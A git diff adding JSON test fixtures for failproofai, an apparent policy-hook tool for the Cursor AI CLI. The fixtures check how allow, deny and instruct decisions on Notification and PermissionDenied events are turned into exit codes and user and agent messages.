b/__tests__/parity/fixtures/cursor/Notification/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..2be58b20 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Notification/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Notification/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/Notification/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..98367d90 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Notification/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Notification/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/Notification/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..cd82c20a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Notification/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Notification/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/Notification/deny__tool-present__one-policy.json new file mode 100644 index 00000000..9ee111b8 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Notification/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Notification/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/Notification/deny__tool-present__two-policies.json new file mode 100644 index 00000000..e14d4499 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Notification/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Notification/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/Notification/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..94e8e8f2 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Notification/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Notification/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/Notification/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..369e6891 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Notification/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Notification/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/Notification/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..db3c10bb --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Notification/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Notification/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/Notification/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..e68eadf3 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Notification/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionDenied/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PermissionDenied/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..ccc2f88e --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionDenied/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionDenied/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PermissionDenied/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..0c234bd4 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionDenied/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionDenied/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PermissionDenied/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..e7f1c47b --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionDenied/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionDenied/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PermissionDenied/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..b88958bb --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionDenied/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionDenied/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PermissionDenied/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..71fed92d --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionDenied/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionDenied/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PermissionDenied/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..24110f3d --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionDenied/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionDenied/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PermissionDenied/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..fb6bac41 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionDenied/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionDenied/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PermissionDenied/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..3cb25aa4 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionDenied/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionDenied/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PermissionDenied/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..ccdb565a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionDenied/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionDenied/deny__tool-absent__two-policies.json 